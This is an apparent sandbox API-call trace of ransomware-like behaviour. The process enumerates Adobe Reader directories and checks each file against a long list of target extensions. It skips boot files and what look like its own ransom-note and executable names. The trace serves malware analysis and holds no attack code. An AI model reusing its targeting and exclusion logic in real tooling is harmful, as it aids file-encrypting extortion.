	[0171.852] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0171.852] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0171.853] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0171.853] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0171.853] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0171.853] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0171.853] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es") returned 118
	[0171.853] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es") returned 1
	[0171.854] lstrlenW (lpString="es-es") returned 5
	[0171.854] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="es-es") returned -1
	[0171.854] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5080048
	[0171.854] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es") returned 118
	[0171.854] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c18
	[0171.854] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0171.854] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0171.854] lstrlenW (lpString="ui-strings.js") returned 13
	[0171.854] lstrlenW (lpString=".1cd") returned 4
	[0171.854] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0171.854] lstrlenW (lpString=".3ds") returned 4
	[0171.854] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0171.854] lstrlenW (lpString=".3fr") returned 4
	[0171.854] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0171.854] lstrlenW (lpString=".3g2") returned 4
	[0171.854] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0171.854] lstrlenW (lpString=".3gp") returned 4
	[0171.855] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0171.855] lstrlenW (lpString=".7z") returned 3
	[0171.855] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0171.855] lstrlenW (lpString=".accda") returned 6
	[0171.855] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0171.855] lstrlenW (lpString=".accdb") returned 6
	[0171.855] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0171.855] lstrlenW (lpString=".accdc") returned 6
	[0171.855] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0171.855] lstrlenW (lpString=".accde") returned 6
	[0171.855] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0171.855] lstrlenW (lpString=".accdt") returned 6
	[0171.855] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0171.855] lstrlenW (lpString=".accdw") returned 6
	[0171.855] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0171.855] lstrlenW (lpString=".adb") returned 4
	[0171.855] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0171.855] lstrlenW (lpString=".adp") returned 4
	[0171.855] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0171.855] lstrlenW (lpString=".ai") returned 3
	[0171.855] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0171.855] lstrlenW (lpString=".ai3") returned 4
	[0171.855] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0171.855] lstrlenW (lpString=".ai4") returned 4
	[0171.855] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0171.855] lstrlenW (lpString=".ai5") returned 4
	[0171.855] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0171.855] lstrlenW (lpString=".ai6") returned 4
	[0171.855] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0171.916] lstrlenW (lpString=".ai7") returned 4
	[0171.916] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0171.916] lstrlenW (lpString=".ai8") returned 4
	[0171.916] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0171.916] lstrlenW (lpString=".anim") returned 5
	[0171.916] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0171.916] lstrlenW (lpString=".arw") returned 4
	[0171.916] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0171.916] lstrlenW (lpString=".as") returned 3
	[0171.916] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0171.916] lstrlenW (lpString=".asa") returned 4
	[0171.916] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0171.916] lstrlenW (lpString=".asc") returned 4
	[0171.916] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0171.916] lstrlenW (lpString=".ascx") returned 5
	[0171.916] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0171.916] lstrlenW (lpString=".asm") returned 4
	[0171.916] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0171.916] lstrlenW (lpString=".asmx") returned 5
	[0171.916] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0171.916] lstrlenW (lpString=".asp") returned 4
	[0171.916] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0171.916] lstrlenW (lpString=".aspx") returned 5
	[0171.916] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0171.916] lstrlenW (lpString=".asr") returned 4
	[0171.916] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0171.916] lstrlenW (lpString=".asx") returned 4
	[0171.916] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0171.916] lstrlenW (lpString=".avi") returned 4
	[0171.916] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0171.917] lstrlenW (lpString=".avs") returned 4
	[0171.917] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0171.917] lstrlenW (lpString=".backup") returned 7
	[0171.917] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0171.917] lstrlenW (lpString=".bak") returned 4
	[0171.917] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0171.917] lstrlenW (lpString=".bay") returned 4
	[0171.917] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0171.917] lstrlenW (lpString=".bd") returned 3
	[0171.917] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0171.917] lstrlenW (lpString=".bin") returned 4
	[0171.917] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0171.917] lstrlenW (lpString=".bmp") returned 4
	[0171.917] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0171.917] lstrlenW (lpString=".bz2") returned 4
	[0171.917] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0171.917] lstrlenW (lpString=".c") returned 2
	[0171.917] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0171.917] lstrlenW (lpString=".cdr") returned 4
	[0171.917] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0171.917] lstrlenW (lpString=".cer") returned 4
	[0171.917] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0171.917] lstrlenW (lpString=".cf") returned 3
	[0171.917] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0171.917] lstrlenW (lpString=".cfc") returned 4
	[0171.917] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0171.917] lstrlenW (lpString=".cfm") returned 4
	[0171.917] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0171.917] lstrlenW (lpString=".cfml") returned 5
	[0171.917] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0171.917] lstrlenW (lpString=".cfu") returned 4
	[0171.917] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0171.917] lstrlenW (lpString=".chm") returned 4
	[0171.917] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0171.918] lstrlenW (lpString=".cin") returned 4
	[0171.918] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0171.918] lstrlenW (lpString=".class") returned 6
	[0171.918] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0171.918] lstrlenW (lpString=".clx") returned 4
	[0171.918] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0171.918] lstrlenW (lpString=".config") returned 7
	[0171.918] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0171.918] lstrlenW (lpString=".cpp") returned 4
	[0171.918] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0171.918] lstrlenW (lpString=".cr2") returned 4
	[0171.918] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0171.918] lstrlenW (lpString=".crt") returned 4
	[0171.918] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0171.918] lstrlenW (lpString=".crw") returned 4
	[0171.918] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0171.918] lstrlenW (lpString=".cs") returned 3
	[0171.918] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0171.918] lstrlenW (lpString=".css") returned 4
	[0171.918] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0171.918] lstrlenW (lpString=".csv") returned 4
	[0171.918] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0171.918] lstrlenW (lpString=".cub") returned 4
	[0171.918] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0171.918] lstrlenW (lpString=".dae") returned 4
	[0171.918] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0171.918] lstrlenW (lpString=".dat") returned 4
	[0171.918] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0171.918] lstrlenW (lpString=".db") returned 3
	[0171.918] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0171.918] lstrlenW (lpString=".dbf") returned 4
	[0171.918] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0171.918] lstrlenW (lpString=".dbx") returned 4
	[0171.919] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0171.919] lstrlenW (lpString=".dc3") returned 4
	[0171.919] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0171.919] lstrlenW (lpString=".dcm") returned 4
	[0171.919] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0171.919] lstrlenW (lpString=".dcr") returned 4
	[0171.919] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0171.919] lstrlenW (lpString=".der") returned 4
	[0171.919] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0171.919] lstrlenW (lpString=".dib") returned 4
	[0171.919] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0171.919] lstrlenW (lpString=".dic") returned 4
	[0171.919] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0171.919] lstrlenW (lpString=".dif") returned 4
	[0171.919] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0171.919] lstrlenW (lpString=".divx") returned 5
	[0171.919] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0171.919] lstrlenW (lpString=".djvu") returned 5
	[0171.919] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0171.919] lstrlenW (lpString=".dng") returned 4
	[0171.919] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0171.919] lstrlenW (lpString=".doc") returned 4
	[0171.919] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0171.919] lstrlenW (lpString=".docm") returned 5
	[0171.919] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0171.919] lstrlenW (lpString=".docx") returned 5
	[0171.919] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0171.919] lstrlenW (lpString=".dot") returned 4
	[0171.919] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0171.919] lstrlenW (lpString=".dotm") returned 5
	[0171.920] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0171.920] lstrlenW (lpString=".dotx") returned 5
	[0171.920] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0171.920] lstrlenW (lpString=".dpx") returned 4
	[0171.920] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0171.920] lstrlenW (lpString=".dqy") returned 4
	[0171.920] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0171.920] lstrlenW (lpString=".dsn") returned 4
	[0171.920] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0171.920] lstrlenW (lpString=".dt") returned 3
	[0171.920] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0171.920] lstrlenW (lpString=".dtd") returned 4
	[0171.920] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0171.920] lstrlenW (lpString=".dwg") returned 4
	[0171.920] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0171.920] lstrlenW (lpString=".dwt") returned 4
	[0171.920] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0171.920] lstrlenW (lpString=".dx") returned 3
	[0171.920] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0171.920] lstrlenW (lpString=".dxf") returned 4
	[0171.920] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0171.920] lstrlenW (lpString=".edml") returned 5
	[0171.920] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0171.920] lstrlenW (lpString=".efd") returned 4
	[0171.920] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0171.920] lstrlenW (lpString=".elf") returned 4
	[0171.920] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0171.920] lstrlenW (lpString=".emf") returned 4
	[0171.920] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0171.920] lstrlenW (lpString=".emz") returned 4
	[0171.920] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0171.920] lstrlenW (lpString=".epf") returned 4
	[0171.920] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0171.920] lstrlenW (lpString=".eps") returned 4
	[0171.921] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0171.921] lstrlenW (lpString=".epsf") returned 5
	[0171.921] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0171.921] lstrlenW (lpString=".epsp") returned 5
	[0171.921] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0171.921] lstrlenW (lpString=".erf") returned 4
	[0171.921] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0171.921] lstrlenW (lpString=".exr") returned 4
	[0171.921] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0171.921] lstrlenW (lpString=".f4v") returned 4
	[0171.921] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0171.921] lstrlenW (lpString=".fido") returned 5
	[0171.921] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0171.921] lstrlenW (lpString=".flm") returned 4
	[0171.921] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0171.921] lstrlenW (lpString=".flv") returned 4
	[0171.921] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0171.921] lstrlenW (lpString=".frm") returned 4
	[0171.921] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0171.921] lstrlenW (lpString=".fxg") returned 4
	[0171.921] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0171.921] lstrlenW (lpString=".geo") returned 4
	[0171.921] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0171.921] lstrlenW (lpString=".gif") returned 4
	[0171.921] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0171.921] lstrlenW (lpString=".grs") returned 4
	[0171.921] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0171.921] lstrlenW (lpString=".gz") returned 3
	[0171.921] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0171.921] lstrlenW (lpString=".h") returned 2
	[0171.922] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0171.922] lstrlenW (lpString=".hdr") returned 4
	[0171.922] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0171.922] lstrlenW (lpString=".hpp") returned 4
	[0171.922] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0171.922] lstrlenW (lpString=".hta") returned 4
	[0171.922] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0171.922] lstrlenW (lpString=".htc") returned 4
	[0171.922] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0171.922] lstrlenW (lpString=".htm") returned 4
	[0171.922] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0171.922] lstrlenW (lpString=".html") returned 5
	[0171.922] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0171.922] lstrlenW (lpString=".icb") returned 4
	[0171.922] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0171.922] lstrlenW (lpString=".ics") returned 4
	[0171.922] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0171.922] lstrlenW (lpString=".iff") returned 4
	[0171.922] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0171.922] lstrlenW (lpString=".inc") returned 4
	[0171.922] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0171.922] lstrlenW (lpString=".indd") returned 5
	[0171.922] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0171.922] lstrlenW (lpString=".ini") returned 4
	[0171.922] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0171.922] lstrlenW (lpString=".iqy") returned 4
	[0171.922] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0171.922] lstrlenW (lpString=".j2c") returned 4
	[0171.922] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0171.922] lstrlenW (lpString=".j2k") returned 4
	[0171.922] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0171.922] lstrlenW (lpString=".java") returned 5
	[0171.922] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0171.922] lstrlenW (lpString=".jp2") returned 4
	[0171.922] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0171.923] lstrlenW (lpString=".jpc") returned 4
	[0171.923] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0171.923] lstrlenW (lpString=".jpe") returned 4
	[0171.923] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0171.923] lstrlenW (lpString=".jpeg") returned 5
	[0171.923] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0171.923] lstrlenW (lpString=".jpf") returned 4
	[0171.923] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0171.923] lstrlenW (lpString=".jpg") returned 4
	[0171.923] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0171.923] lstrlenW (lpString=".jpx") returned 4
	[0171.923] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0171.923] lstrlenW (lpString=".js") returned 3
	[0171.923] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0171.923] lstrlenW (lpString="ui-strings.js") returned 13
	[0171.923] lstrlenW (lpString=".GTF") returned 4
	[0171.923] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0171.923] lstrlenW (lpString="ui-strings.js") returned 13
	[0171.923] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0171.923] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0171.923] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0171.923] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0171.923] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0171.923] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0171.923] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0171.923] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0171.923] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js") returned 132
	[0171.923] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0171.923] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0171.923] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0171.923] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0171.924] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es") returned 118
	[0171.924] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es") returned 1
	[0171.924] lstrlenW (lpString="eu-es") returned 5
	[0171.924] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="eu-es") returned -1
	[0171.924] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5080048
	[0171.924] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es") returned 118
	[0171.924] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c18
	[0172.027] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0172.027] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0172.027] lstrlenW (lpString="ui-strings.js") returned 13
	[0172.027] lstrlenW (lpString=".1cd") returned 4
	[0172.027] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0172.027] lstrlenW (lpString=".3ds") returned 4
	[0172.027] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0172.027] lstrlenW (lpString=".3fr") returned 4
